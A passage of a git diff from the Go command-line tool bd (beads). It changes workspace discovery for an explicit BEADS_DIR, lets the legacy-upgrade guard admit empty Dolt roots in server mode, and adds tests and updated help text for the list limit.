"github.com/steveyegge/beads/internal/beads" "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/debug" + "github.com/steveyegge/beads/internal/execenv" "github.com/steveyegge/beads/internal/git" "github.com/steveyegge/beads/internal/gitenv" "github.com/steveyegge/beads/internal/metrics" @@ -2100,14 +2101,11 @@ func warnJSONLWithoutDoltRemote(reason string) { // filterEnv returns a copy of env with entries matching the given key removed. func filterEnv(env []string, key string) []string { - prefix := key + "=" - out := make([]string, 0, len(env)) - for _, e := range env { - if !strings.HasPrefix(e, prefix) { - out = append(out, e) - } - } - return out + return filterEnvForOS(env, key, hookEnvGOOS) +} + +func filterEnvForOS(env []string, key, goos string) []string { + return execenv.WithoutForOS(env, goos, key) } // runPostMergeHook runs chained hooks after merge, then runs the legacy diff --git a/cmd/bd/init_explicit_beads_dir_embedded_test.go b/cmd/bd/init_explicit_beads_dir_embedded_test.go new file mode 100644 index 000000000..c6bae6f68 --- /dev/null +++ b/cmd/bd/init_explicit_beads_dir_embedded_test.go @@ -0,0 +1,146 @@ +//go:build cgo + +package main + +import ( + "bytes" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/storage/dbproxy/proxy" +) + +// explicitBeadsDirMode describes how a storage mode's bd subprocesses are +// initialized and run for the explicit-BEADS_DIR regression tests. +type explicitBeadsDirMode struct { + initArgs []string + env func(home string) []string + proxied bool +} + +// runExplicitBeadsDirBD runs bd in dir with the mode's isolated environment. +// beadsDir, when non-empty, is passed as an explicit BEADS_DIR. +func runExplicitBeadsDirBD(t *testing.T, bd string, mode explicitBeadsDirMode, home, dir, beadsDir string, args ...string) (string, string, error) { + t.Helper() + cmd := exec.Command(bd, args...) + cmd.Dir = dir + env := append(mode.env(home), "XDG_CONFIG_HOME="+filepath.Join(home, ".config")) + if beadsDir != "" { + env = append(env, "BEADS_DIR="+beadsDir) + } + cmd.Env = env + var stdout, stderr bytes.Buffer + cmd.Stdout = &stdout + cmd.Stderr = &stderr + err := cmd.Run() + return stdout.String(), stderr.String(), err +} + +// testExplicitBeadsDirIsAuthoritative covers the regression where an explicit +// BEADS_DIR without project files was ignored during discovery: bd walked up +// from CWD, bound the parent workspace, and `bd init` then refused ("already +// initialized") while data commands read and wrote the parent's store. +func testExplicitBeadsDirIsAuthoritative(t *testing.T, bd string, mode explicitBeadsDirMode) { + t.Helper() + home := t.TempDir() + parent := t.TempDir() + initGitRepoAt(t, parent) + parentBeadsDir := filepath.Join(parent, ".beads") + child := filepath.Join(parent, "child") + explicit := filepath.Join(child, ".beads") + if err := os.MkdirAll(child, 0o755); err != nil { + t.Fatal(err) + } + if mode.proxied { + for _, root := range []string{filepath.Join(parentBeadsDir, "dolt"), filepath.Join(explicit, "dolt")} { + root := root + t.Cleanup(func() { + if _, err := os.Stat(root); err != nil { + return + } + if err := proxy.Shutdown(root); err != nil { + t.Logf("proxy.Shutdown(%s): %v", root, err) + } + }) + shutdownProxyOnInterrupt(t, root) + } + } + + initArgs := append([]string{"init", "--quiet", "--non-interactive", "--skip-agents", "--skip-hooks"}, mode.initArgs...) + if stdout, stderr, err := runExplicitBeadsDirBD(t, bd, mode, home, parent, "", append(initArgs, "--prefix", "par")...); err != nil { + t.Fatalf("parent bd init: %v\nstdout:\n%s\nstderr:\n%s", err, stdout, stderr) + } + parentID, stderr, err := runExplicitBeadsDirBD(t, bd, mode, home, parent, "", "create", "--silent", "parent issue") + if err != nil { + t.Fatalf("parent bd create: %v\nstderr:\n%s", err, stderr) + } + parentID = strings.TrimSpace(parentID) + + // A data command against the uninitialized explicit dir must not fall + // back to the parent workspace. + stdout, stderr, err := runExplicitBeadsDirBD(t, bd, mode, home, child, explicit, "list", "--json") + if err == nil || strings.Contains(stdout, parentID) { + t.Errorf("bd list with BEADS_DIR=%s (no workspace yet) should fail without reading the parent store; err=%v\nstdout:\n%s\nstderr:\n%s", explicit, err, stdout, stderr) + } else if !strings.Contains(stderr, "no beads database found") { + t.Errorf("bd list with an uninitialized BEADS_DIR: want \"no beads database found\", got stderr:\n%s", stderr) + } + + // bd init must initialize the explicit dir (existing but empty, as a + // caller that pre-creates it would leave it), not refuse because of the + // parent workspace. + if err := os.MkdirAll(explicit, 0o755); err != nil { + t.Fatal(err) + } + if stdout, stderr, err := runExplicitBeadsDirBD(t, bd, mode, home, child, explicit, append(initArgs, "--prefix", "kid")...); err != nil { + t.Fatalf("bd init with BEADS_DIR=%s: %v\nstdout:\n%s\nstderr:\n%s", explicit, err, stdout, stderr) + } + childCfg, err := configfile.Load(explicit) + if err != nil || childCfg == nil { + t.Fatalf("load %s metadata: cfg=%v err=%v", explicit, childCfg, err) + } + if childCfg.DoltDatabase != "kid" { + t.Fatalf("explicit BEADS_DIR dolt_database = %q, want %q", childCfg.DoltDatabase, "kid") + } + parentCfg, err := configfile.Load(parentBeadsDir) + if err != nil || parentCfg == nil || parentCfg.DoltDatabase != "par" { + t.Fatalf("parent metadata changed: cfg=%+v err=%v", parentCfg, err) + } + + // Writes through the explicit dir land in the new workspace only. + childID, stderr, err := runExplicitBeadsDirBD(t, bd, mode, home, child, explicit, "create", "--silent", "child issue") + if err != nil { + t.Fatalf("bd create with BEADS_DIR=%s: %v\nstderr:\n%s", explicit, err, stderr) + } + childID = strings.TrimSpace(childID) + if !strings.HasPrefix(childID, "kid-") { + t.Fatalf("bd create with BEADS_DIR=%s minted %q, want a kid- ID", explicit, childID) + } + parentList, stderr, err := runExplicitBeadsDirBD(t, bd, mode, home, parent, "", "list", "--json") + if err != nil { + t.Fatalf("parent bd list: %v\nstderr:\n%s", err, stderr) + } + if strings.Contains(parentList, childID) || !strings.Contains(parentList, parentID) { + t.Fatalf("parent store should hold only %s, got:\n%s", parentID, parentList) + } +} + +func TestEmbeddedInitExplicitBeadsDirIsAuthoritative(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt init tests") + } + t.Parallel() + testExplicitBeadsDirIsAuthoritative(t, buildEmbeddedBD(t), explicitBeadsDirMode{env: bdEnv}) +} + +func TestProxiedServerInitExplicitBeadsDirIsAuthoritative(t *testing.T) { + requireProxiedServerEnv(t) + testExplicitBeadsDirIsAuthoritative(t, buildEmbeddedBD(t), explicitBeadsDirMode{ + initArgs: []string{"--proxied-server"}, + env: bdProxiedEnv, + proxied: true, + }) +} diff --git a/cmd/bd/legacy_upgrade_guard.go b/cmd/bd/legacy_upgrade_guard.go index 063146624..53d680798 100644 --- a/cmd/bd/legacy_upgrade_guard.go +++ b/cmd/bd/legacy_upgrade_guard.go @@ -76,6 +76,20 @@ func guardLegacyUpgradeWorkspace(beadsDir string) error { return nil } if serverMode { + if !present && isEmptyDirectory(filepath.Join(beadsDir, "dolt")) { + // An empty .beads/dolt holds no Dolt data, so no legacy release + // could have left anything in it to protect: it carries no more + // evidence than a server workspace without that directory, which + // is admitted above. bd creates exactly this shape itself — the + // local Dolt root is made on use even when the data lives on an + // external server — so refusing it made `bd init --server + // --external` fail over a provisioner's empty root, and made a + // workspace that lost its gitignored witness unusable with no bd + // command able to repair it. Admitting it lets the command re-seed + // the witness. A present pre-1.0 witness was refused above, and a + // root holding anything at all still refuses below. + return nil + } if present && classifyVersionWitness(version) == witnessEraUnknown { // A witness that is present but unreadable — including one left // blank or whitespace-only by an interrupted or disk-full @@ -270,6 +284,22 @@ func hasLegacyDoltRoot(beadsDir string) bool { return err == nil && info.IsDir() && info.Mode()&os.ModeSymlink == 0 } +// isEmptyDirectory reports whether path is a real (non-symlink) directory with +// no entries. Any error reading it answers false, so callers fail closed. +func isEmptyDirectory(path string) bool { + info, err := os.Lstat(path) + if err != nil || !info.IsDir() || info.Mode()&os.ModeSymlink != 0 { + return false + } + dir, err := os.Open(path) // #nosec G304 -- bounded probe beneath selected workspace + if err != nil { + return false + } + defer func() { _ = dir.Close() }() + names, err := dir.Readdirnames(1) + return len(names) == 0 && err == io.EOF +} + func isNonEmptyRegularFile(path string) bool { info, err := os.Lstat(path) return err == nil && info.Mode().IsRegular() && info.Size() > 0 diff --git a/cmd/bd/legacy_upgrade_guard_config_yaml_test.go b/cmd/bd/legacy_upgrade_guard_config_yaml_test.go index 46640052d..37c89519a 100644 --- a/cmd/bd/legacy_upgrade_guard_config_yaml_test.go +++ b/cmd/bd/legacy_upgrade_guard_config_yaml_test.go @@ -31,7 +31,7 @@ func bindSelectedWorkspaceConfig(t *testing.T, beadsDir string) { } // writeDoltRootWorkspace lays down the ambiguous shape the guard classifies: a -// .beads directory that owns a local Dolt root, plus whatever metadata.json, +// .beads directory that owns a populated local Dolt root, plus whatever metadata.json, // config.yaml and version witness the case needs. An empty string means "do not // write this file at all". func writeDoltRootWorkspace(t *testing.T, metadata, configYaml, version string) string { @@ -52,9 +52,7 @@ func writeDoltRootWorkspace(t *testing.T, metadata, configYaml, version string) t.Fatal(err) } } - if err := os.Mkdir(filepath.Join(beadsDir, "dolt"), 0o700); err != nil { - t.Fatal(err) - } + populateLegacyDoltRoot(t, beadsDir) bindSelectedWorkspaceConfig(t, beadsDir) return beadsDir } diff --git a/cmd/bd/legacy_upgrade_guard_e2e_test.go b/cmd/bd/legacy_upgrade_guard_e2e_test.go index 619f2289a..0eb09ed87 100644 --- a/cmd/bd/legacy_upgrade_guard_e2e_test.go +++ b/cmd/bd/legacy_upgrade_guard_e2e_test.go @@ -490,7 +490,7 @@ func TestLegacyGuardUsesSelectedTargetSharedServerConfig(t *testing.T) { // TestLegacyGuardAdmitsConfigYamlServerWorkspace runs the real binary against // the workspace shape gc provisions — `dolt.mode: server` in -// .beads/config.yaml, a local .beads/dolt root, a metadata.json that names no +// .beads/config.yaml, a populated local .beads/dolt root, a metadata.json that names no // dolt_mode — and pins that the guard no longer calls it legacy. The in-process // guard tests bind the workspace config themselves; only a subprocess proves // that PersistentPreRunE's own binding puts the selected workspace's @@ -518,9 +518,7 @@ func TestLegacyGuardAdmitsConfigYamlServerWorkspace(t *testing.T) { repoDir := t.TempDir() initGitRepo(t, repoDir) beadsDir := filepath.Join(repoDir, ".beads") - if err := os.MkdirAll(filepath.Join(beadsDir, "dolt"), 0o700); err != nil { - t.Fatal(err) - } + populateLegacyDoltRoot(t, beadsDir) writeFile(t, filepath.Join(beadsDir, "metadata.json"), []byte(`{"backend":"dolt","dolt_database":"hq"}`)) writeFile(t, filepath.Join(beadsDir, "config.yaml"), []byte("dolt:\n mode: server\n auto-start: false\n")) if tt.version != "" { diff --git a/cmd/bd/legacy_upgrade_guard_empty_root_test.go b/cmd/bd/legacy_upgrade_guard_empty_root_test.go new file mode 100644 index 000000000..b1dac315b --- /dev/null +++ b/cmd/bd/legacy_upgrade_guard_empty_root_test.go @@ -0,0 +1,143 @@ +package main + +import ( + "os" + "path/filepath" + "testing" +) + +// populateLegacyDoltRoot lays down a .beads/dolt root that holds a Dolt +// database, the shape a historical local sql-server left behind. The guard has +// to treat such a root as evidence worth protecting. +func populateLegacyDoltRoot(t *testing.T, beadsDir string) { + t.Helper() + if err := os.MkdirAll(filepath.Join(beadsDir, "dolt", "beads", ".dolt"), 0o700); err != nil { + t.Fatal(err) + } +} + +// writeEmptyDoltRootServerWorkspace lays down the shape a current bd leaves +// behind after `bd init --server --external`: server mode selected, a +// .beads/dolt directory that bd created on use but that holds nothing because +// the data lives on the external server, and — once the gitignored witness has +// been lost, or when a provisioner created the empty root before bd init — +// no .local_version. +func writeEmptyDoltRootServerWorkspace(t *testing.T, metadata, configYaml, version string) string { + t.Helper() + beadsDir := t.TempDir() + for name, contents := range map[string]string{ + "metadata.json": metadata, + "config.yaml": configYaml, + } { + if contents == "" { + continue + } + if err := os.WriteFile(filepath.Join(beadsDir, name), []byte(contents), 0o600); err != nil { + t.Fatal(err) + } + } + if version != "" { + if err := writeLocalVersion(filepath.Join(beadsDir, localVersionFile), version); err != nil { + t.Fatal(err) + } + } + if err := os.Mkdir(filepath.Join(beadsDir, "dolt"), 0o700); err != nil { + t.Fatal(err) + } + bindSelectedWorkspaceConfig(t, beadsDir) + return beadsDir +} + +const externalServerMetadata = `{"backend":"dolt","dolt_mode":"server","dolt_server_host":"db.example.test","dolt_database":"ext_db"}` + +// TestLegacyUpgradeGuardAdmitsServerWorkspaceWithEmptyDoltRoot pins the +// external-host recovery: a server-mode workspace whose .beads/dolt is empty +// and whose witness is missing holds no local Dolt data a legacy release could +// have left there, so it carries no more evidence than a workspace with no +// .beads/dolt at all — which the guard already admits. Refusing it made the +// workspace unusable after `bd init --server --external` whenever the witness +// was absent, with no bd command able to repair it. +func TestLegacyUpgradeGuardAdmitsServerWorkspaceWithEmptyDoltRoot(t *testing.T) { + cases := []struct { + name string + metadata string + configYaml string + }{ + {name: "metadata.json external server", metadata: externalServerMetadata}, + {name: "metadata.json server", metadata: `{"backend":"dolt","dolt_mode":"server"}`}, + {name: "config.yaml server mode", configYaml: configYamlServerMode}, + // Proxied-server does not select server mode, so it never reaches the + // empty-root branch; it is admitted by the final non-embedded arm. Pin + // that so a later change to either arm cannot start refusing it. + {name: "metadata.json proxied server", metadata: `{"backend":"dolt","dolt_mode":"proxied-server"}`}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + warnings := captureLegacyUpgradeWarnings(t) + beadsDir := writeEmptyDoltRootServerWorkspace(t, tc.metadata, tc.configYaml, "") + + if err := guardLegacyUpgradeWorkspace(beadsDir); err != nil { + t.Fatalf("guardLegacyUpgradeWorkspace() = %v, want nil", err) + } + if warnings.Len() != 0 { + t.Fatalf("guard warned about an absent witness: %q", warnings.String()) + } + }) + } +} + +// TestLegacyUpgradeGuardEmptyDoltRootAdmissionStaysNarrow proves the empty-root +// admission relaxes nothing else: pre-1.0 evidence still refuses, a root that +// holds anything still refuses, and outside server mode an empty root is still +// the legacy embedded shape. +func TestLegacyUpgradeGuardEmptyDoltRootAdmissionStaysNarrow(t *testing.T) { + t.Run("historical server witness", func(t *testing.T) { + captureLegacyUpgradeWarnings(t) + beadsDir := writeEmptyDoltRootServerWorkspace(t, externalServerMetadata, "", "0.62.0") + + if err := guardLegacyUpgradeWorkspace(beadsDir); !isLegacyUpgradeRefusal(err) { + t.Fatalf("guardLegacyUpgradeWorkspace() = %v, want migration refusal", err) + } + }) + + t.Run("historical embedded witness", func(t *testing.T) { + captureLegacyUpgradeWarnings(t) + beadsDir := writeEmptyDoltRootServerWorkspace(t, externalServerMetadata, "", "0.49.6") + + if err := guardLegacyUpgradeWorkspace(beadsDir); !isLegacyUpgradeRefusal(err) { + t.Fatalf("guardLegacyUpgradeWorkspace() = %v, want migration refusal", err) + } + }) + + for _, entry := range []string{"beads", ".dolt", "stray-file"} { + t.Run("root holding "+entry, func(t *testing.T) { + captureLegacyUpgradeWarnings(t) + beadsDir := writeEmptyDoltRootServerWorkspace(t, externalServerMetadata, "", "") + path := filepath.Join(beadsDir, "dolt", entry) + var err error + if entry == "stray-file" { + err = os.WriteFile(path, nil, 0o600) + } else { + err = os.Mkdir(path, 0o700) + } + if err != nil { + t.Fatal(err) + } + + if err := guardLegacyUpgradeWorkspace(beadsDir); !isLegacyUpgradeRefusal(err) { + t.Fatalf("guardLegacyUpgradeWorkspace() = %v, want migration refusal", err) + } + }) + } + + for _, metadata := range []string{`{"backend":"dolt"}`, `{"backend":"dolt","dolt_mode":"embedded"}`} { + t.Run("embedded "+metadata, func(t *testing.T) { + captureLegacyUpgradeWarnings(t) + beadsDir := writeEmptyDoltRootServerWorkspace(t, metadata, "", "") + + if err := guardLegacyUpgradeWorkspace(beadsDir); !isLegacyUpgradeRefusal(err) { + t.Fatalf("guardLegacyUpgradeWorkspace() = %v, want migration refusal", err) + } + }) + } +} diff --git a/cmd/bd/legacy_upgrade_guard_external_server_test.go b/cmd/bd/legacy_upgrade_guard_external_server_test.go new file mode 100644 index 000000000..1f243fb50 --- /dev/null +++ b/cmd/bd/legacy_upgrade_guard_external_server_test.go @@ -0,0 +1,141 @@ +//go:build cgo + +package main + +import ( + "context" + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + "time" +) + +// runExternalServerBD runs the bd binary under test in repoDir with env and +// returns its combined output. +func runExternalServerBD(t *testing.T, repoDir string, env []string, args ...string) (string, error) { + t.Helper() + ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second) + defer cancel() + cmd := exec.CommandContext(ctx, buildBDUnderTest(t), args...) + cmd.Dir = repoDir + cmd.Env = env + out, err := cmd.CombinedOutput() + if ctxErr := ctx.Err(); ctxErr != nil { + t.Fatalf("bd %s did not finish before the deadline: %v\n%s", strings.Join(args, " "), ctxErr, out) + } + return string(out), err +} + +// externalServerTestEnv isolates a bd child from the developer's home and +// config (a real ~/.beads may select a shared server) and from the ambient +// BEADS_DOLT_* endpoint this package's TestMain exports, so only the flags and +// files under test choose the target. +func externalServerTestEnv(t *testing.T) []string { + t.Helper() + home := t.TempDir() + return append(envWithoutBeadsStorageSettings(), + "HOME="+home, + "XDG_CONFIG_HOME="+filepath.Join(home, ".config"), + "BEADS_TEST_IGNORE_REPO_CONFIG=1", + "BD_DISABLE_METRICS=1", + "BEADS_DOLT_AUTO_START=0", + ) +} + +func externalServerInitArgs(database string, extra ...string) []string { + args := []string{ + "init", "--quiet", "--server", "--external", + "--server-host", "127.0.0.1", + "--server-port", fmt.Sprintf("%d", testDoltServerPort), + "--database", database, + "--prefix", "ext", + "--skip-hooks", "--skip-agents", + } + return append(args, extra...) +} + +func assertCurrentVersionWitness(t *testing.T, beadsDir string) { + t.Helper() + data, err := os.ReadFile(filepath.Join(beadsDir, localVersionFile)) + if err != nil { + t.Fatalf("expected %s after the command: %v", localVersionFile, err) + } + if got := strings.TrimSpace(string(data)); got != Version { + t.Fatalf("%s = %q, want %q", localVersionFile, got, Version) + } +} + +// TestExternalServerInitWritesWitnessOverEmptyDoltRoot reproduces the +// provisioner shape: config.yaml already selects server mode and an empty +// .beads/dolt exists before `bd init --server --external` runs. The legacy +// guard used to refuse that init as a "legacy Dolt server workspace", so the +// scope never got a witness and every later command was refused too. +func TestExternalServerInitWritesWitnessOverEmptyDoltRoot(t *testing.T) { + skipIfNoDolt(t) + env := externalServerTestEnv(t) + + repoDir := t.TempDir() + initGitRepo(t, repoDir) + beadsDir := filepath.Join(repoDir, ".beads") + if err := os.MkdirAll(filepath.Join(beadsDir, "dolt"), 0o700); err != nil { + t.Fatal(err) + } + writeFile(t, filepath.Join(beadsDir, "config.yaml"), []byte("dolt.mode: server\n")) + + database := uniqueTestDBName(t) + t.Cleanup(func() { dropTestDatabase(database, testDoltServerPort) }) + + out, err := runExternalServerBD(t, repoDir, append(env, "BEADS_DIR="+beadsDir), + externalServerInitArgs(database, "--init-if-missing")...) + if err != nil { + t.Fatalf("bd init --server --external over an empty .beads/dolt failed: %v\n%s", err, out) + } + assertCurrentVersionWitness(t, beadsDir) +} + +// TestExternalServerWorkspaceRecoversMissingWitness covers a workspace already +// in the broken state: initialized against an external server, then left +// without .local_version (it is gitignored, so a fresh checkout or a cleanup +// drops it) while bd's own empty .beads/dolt remains. The next ordinary +// command must open the workspace and re-seed the witness with no manual +// steps. +func TestExternalServerWorkspaceRecoversMissingWitness(t *testing.T) { + skipIfNoDolt(t) + env := externalServerTestEnv(t) + + repoDir := t.TempDir() + initGitRepo(t, repoDir) + beadsDir := filepath.Join(repoDir, ".beads") + + database := uniqueTestDBName(t) + t.Cleanup(func() { dropTestDatabase(database, testDoltServerPort) }) + + out, err := runExternalServerBD(t, repoDir, env, externalServerInitArgs(database)...) + if err != nil { + t.Fatalf("bd init --server --external failed: %v\n%s", err, out) + } + assertCurrentVersionWitness(t, beadsDir) + + entries, err := os.ReadDir(filepath.Join(beadsDir, "dolt")) + if err != nil { + t.Fatalf("precondition: expected bd init to leave a .beads/dolt directory: %v", err) + } + if len(entries) != 0 { + t.Fatalf("precondition: expected an empty .beads/dolt for an external server, found %d entries", len(entries)) + } + if err := os.Remove(filepath.Join(beadsDir, localVersionFile)); err != nil { + t.Fatal(err) + } + + out, err = runExternalServerBD(t, repoDir, env, "list", "--json", "--all") + if err != nil { + t.Fatalf("bd list on an external-server workspace without a witness failed: %v\n%s", err, out) + } + if strings.Contains(out, "explicit migration is required") { + t.Fatalf("bd list reported a legacy-upgrade refusal:\n%s", out) + } + assertCurrentVersionWitness(t, beadsDir) +} diff --git a/cmd/bd/legacy_upgrade_guard_test.go b/cmd/bd/legacy_upgrade_guard_test.go index fe16d698c..cfae520a9 100644 --- a/cmd/bd/legacy_upgrade_guard_test.go +++ b/cmd/bd/legacy_upgrade_guard_test.go @@ -206,14 +206,12 @@ func TestLegacyUpgradeGuardMetadataLessSQLiteAndCurrentEmbeddedPrecedence(t *tes } }) - t.Run("explicit server metadata with missing version witness and local Dolt root is refused", func(t *testing.T) { + t.Run("explicit server metadata with missing version witness and populated local Dolt root is refused", func(t *testing.T) { beadsDir := t.TempDir() if err := os.WriteFile(filepath.Join(beadsDir, "metadata.json"), []byte(`{"backend":"dolt","dolt_mode":"server"}`), 0o600); err != nil { t.Fatal(err) } - if err := os.Mkdir(filepath.Join(beadsDir, "dolt"), 0o700); err != nil { - t.Fatal(err) - } + populateLegacyDoltRoot(t, beadsDir) if err := guardLegacyUpgradeWorkspace(beadsDir); !isLegacyUpgradeRefusal(err) { t.Fatalf("guardLegacyUpgradeWorkspace() = %v, want migration refusal", err) } @@ -290,9 +288,7 @@ func TestLegacyUpgradeGuardServerSelectionBeatsStaleEmbeddedRepository(t *testin t.Fatal(err) } } - if err := os.Mkdir(filepath.Join(beadsDir, "dolt"), 0o700); err != nil { - t.Fatal(err) - } + populateLegacyDoltRoot(t, beadsDir) staleRepo := filepath.Join(beadsDir, "embeddeddolt", "stale", ".dolt") if err := os.MkdirAll(staleRepo, 0o700); err != nil { t.Fatal(err) diff --git a/cmd/bd/legacy_upgrade_guard_witness_test.go b/cmd/bd/legacy_upgrade_guard_witness_test.go index 65044227f..a2f77d49c 100644 --- a/cmd/bd/legacy_upgrade_guard_witness_test.go +++ b/cmd/bd/legacy_upgrade_guard_witness_test.go @@ -84,7 +84,8 @@ func TestLegacyServerVersionSpansHistoricalServerEra(t *testing.T) { } // writeSelectedServerWorkspace lays down the ambiguous shape the guard has to -// classify: a selected Dolt server workspace that still owns a local Dolt root. +// classify: a selected Dolt server workspace that still owns a populated local +// Dolt root. func writeSelectedServerWorkspace(t *testing.T, version string) string { t.Helper() beadsDir := t.TempDir() @@ -97,9 +98,7 @@ func writeSelectedServerWorkspace(t *testing.T, version string) string { t.Fatal(err) } } - if err := os.Mkdir(filepath.Join(beadsDir, "dolt"), 0o700); err != nil { - t.Fatal(err) - } + populateLegacyDoltRoot(t, beadsDir) return beadsDir } diff --git a/cmd/bd/list.go b/cmd/bd/list.go index ca75bcf27..cb1fa12fd 100644 --- a/cmd/bd/list.go +++ b/cmd/bd/list.go @@ -420,7 +420,7 @@ func init() { listCmd.Flags().String("title", "", "Filter by title text (case-insensitive substring match)") listCmd.Flags().String("spec", "", "Filter by spec_id prefix") listCmd.Flags().String("id", "", "Filter by specific issue IDs (comma-separated, e.g., bd-1,bd-5,bd-10)") - listCmd.Flags().IntP("limit", "n", workapi.DefaultListLimit, "Limit results (default 50, use 0 for unlimited)") + listCmd.Flags().IntP("limit", "n", workapi.DefaultListLimit, "Limit results (an explicit --limit always wins, 0 meaning unlimited; otherwise --all is unlimited; otherwise a configured list.limit applies; otherwise unlimited when piped, else 20 in agent mode at a terminal, else 50)") listCmd.Flags().Int("offset", 0, "Skip the first N matching results (0-based). Only supported under --proxied-server.") listCmd.Flags().String("format", "", "Output format: 'digraph' (for golang.org/x/tools/cmd/digraph), 'dot' (Graphviz), or Go template") listCmd.Flags().Bool("all", false, "Show all issues including closed (overrides default filter)") diff --git a/cmd/bd/list_limit_policy_test.go b/cmd/bd/list_limit_policy_test.go index ec8b79c3d..39272059b 100644 --- a/cmd/bd/list_limit_policy_test.go +++ b/cmd/bd/list_limit_policy_test.go @@ -91,3 +91,62 @@ func TestListLimitPolicyIsResolvedBeforeTheRequest(t *testing.T) { }) } } + +// GH#6069: the --limit flag help must describe the switch pinned above, in +// the switch's own order, not claim an unconditional "default 50". The whole +// usage string is pinned verbatim: a substring check would accept a clause +// scoped wider than its arm (an earlier draft's "--all is always unlimited" +// contained every needle and was still false, because an explicit --limit +// outranks --all). The cases below tie the three claims a reader is most +// likely to get wrong back to the switch, each with list.limit configured. +func TestListLimitHelpDescribesPipedBehavior(t *testing.T) { + flag := listCmd.Flags().Lookup("limit") + if flag == nil { + t.Fatal("listCmd has no --limit flag registered") + } + const want = "Limit results (an explicit --limit always wins, 0 meaning unlimited; otherwise --all is unlimited; otherwise a configured list.limit applies; otherwise unlimited when piped, else 20 in agent mode at a terminal, else 50)" + if flag.Usage != want { + t.Errorf("--limit help = %q\nwant %q", flag.Usage, want) + } + + t.Chdir(t.TempDir()) + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + if err := config.Initialize(); err != nil { + t.Fatalf("config.Initialize: %v", err) + } + config.Set("list.limit", 7) + if got := config.GetValueSource("list.limit"); got == config.SourceDefault { + t.Fatal("precondition: config.Set did not make list.limit count as configured") + } + for _, tc := range []struct { + name string + args []string + want int + needsPipe bool + }{ + // limitChanged is the first arm, so --all does not make an explicit + // --limit unlimited. Holds at a terminal or a pipe alike. + {"an explicit --limit outranks --all", []string{"--all", "--limit", "5"}, 5, false}, + // The AllFlag arm precedes listLimitConfigured and !IsTerminal, so + // this holds at a terminal too and never needs to skip. + {"--all is unlimited even with list.limit configured", []string{"--all"}, 0, false}, + // listLimitConfigured precedes the !IsTerminal arm. Only a piped + // stdout can show that ordering; at a terminal the same 7 would + // prove nothing about the piped arm. + {"piped output takes a configured list.limit", nil, 7, true}, + } { + t.Run(tc.name, func(t *testing.T) { + if tc.needsPipe && ui.IsTerminal() { + t.Skip("this case shows a configured list.limit outranking the piped-stdout arm, so stdout must be a pipe; go test's is, this run's is not") + } + in, err := gatherListInput(newListLimitCommand(t, tc.args...)) + if err != nil { + t.Fatalf("gatherListInput(%v): %v", tc.args, err) + } + if in.effectiveLimit != tc.want { + t.Errorf("effectiveLimit = %d, want %d", in.effectiveLimit, tc.want) + } + }) + } +} diff --git a/cmd/bd/list_proxied_integration_test.go b/cmd/bd/list_proxied_integration_test.go index 80dd977ed..774cd92e5 100644 --- a/cmd/bd/list_proxied_integration_test.go +++ b/cmd/bd/list_proxied_integration_test.go @@ -228,16 +228,43 @@ func TestProxiedServerList(t *testing.T) { }) t.Run("ready_parent_tree_excludes_blocked_descendants", func(t *testing.T) { - // TODO: re-enable once `bd dep add` is ported to proxied mode. - // Currently bd dep add fails with "storage is nil" under proxied - // since the dep subcommand has no usesProxiedServer() dispatch. - t.Skip("requires bd dep add proxied support") + parent := bdProxiedCreate(t, bd, p.dir, "Ready parent tree", "--type", "epic") + readyChild := bdProxiedCreate(t, bd, p.dir, "Ready child in tree", "--type", "task", "--parent", parent.ID) + blockedChild := bdProxiedCreate(t, bd, p.dir, "Blocked child in tree", "--type", "task", "--parent", parent.ID) + blocker := bdProxiedCreate(t, bd, p.dir, "Tree child blocker", "--type", "task") + bdProxiedDep(t, bd, p.dir, "add", blockedChild.ID, blocker.ID) + + out := bdProxiedList(t, bd, p, "--ready", "--parent", parent.ID, "--no-pager") + if !strings.Contains(out, readyChild.ID) { + t.Errorf("ready child %s should appear in ready parent tree:\n%s", readyChild.ID, out) + } + if strings.Contains(out, blockedChild.ID) { + t.Errorf("blocked child %s should not appear in ready parent tree:\n%s", blockedChild.ID, out) + } }) // Regression for gastownhall/beads#3936: relates-to between two epics - // must not nest them, and bidirectional relates-to must not drop them. + // must not nest them in `bd list` tree mode, and a bidirectional + // relates-to must not silently drop both epics from the output. t.Run("tree_relates_to_does_not_nest_or_drop_epics", func(t *testing.T) { - t.Skip("requires bd dep add proxied support") + epicA := bdProxiedCreate(t, bd, p.dir, "Relates Epic A", "--type", "epic", "--priority", "2") + epicB := bdProxiedCreate(t, bd, p.dir, "Relates Epic B", "--type", "epic", "--priority", "2") + + bdProxiedDep(t, bd, p.dir, "add", epicA.ID, epicB.ID, "--type", "relates-to") + out := bdProxiedList(t, bd, p, "--no-pager", "--type", "epic") + if !strings.Contains(out, epicA.ID) || !strings.Contains(out, epicB.ID) { + t.Fatalf("one-direction relates-to should keep both epics visible:\n%s", out) + } + if strings.Contains(out, "└── "+epicA.ID) || strings.Contains(out, "└── "+epicB.ID) || + strings.Contains(out, "├── "+epicA.ID) || strings.Contains(out, "├── "+epicB.ID) { + t.Fatalf("relates-to must not nest epics under each other:\n%s", out) + } + + bdProxiedDep(t, bd, p.dir, "add", epicB.ID, epicA.ID, "--type", "relates-to") + out = bdProxiedList(t, bd, p, "--no-pager", "--type", "epic") + if !strings.Contains(out, epicA.ID) || !strings.Contains(out, epicB.ID) { + t.Fatalf("bidirectional relates-to must not drop epics from tree output:\n%s", out) + } }) t.Run("ready_parent_filter_includes_grandchildren", func(t *testing.T) { diff --git a/cmd/bd/main.go b/cmd/bd/main.go index 7880c931c..ca260ffca 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -1465,6 +1465,11 @@ var rootCmd = &cobra.Command{ // would create a local database instead of using the redirect target. // (GH#bd-0qel) targetBeadsDir := beads.FindBeadsDir() + if targetBeadsDir == "" { + // An explicit BEADS_DIR is authoritative even + // before it holds project files. + targetBeadsDir = beads.ExplicitBeadsDir() + } if targetBeadsDir == "" { targetBeadsDir = ".beads" } @@ -2077,6 +2082,15 @@ var rootCmd = &cobra.Command{ if 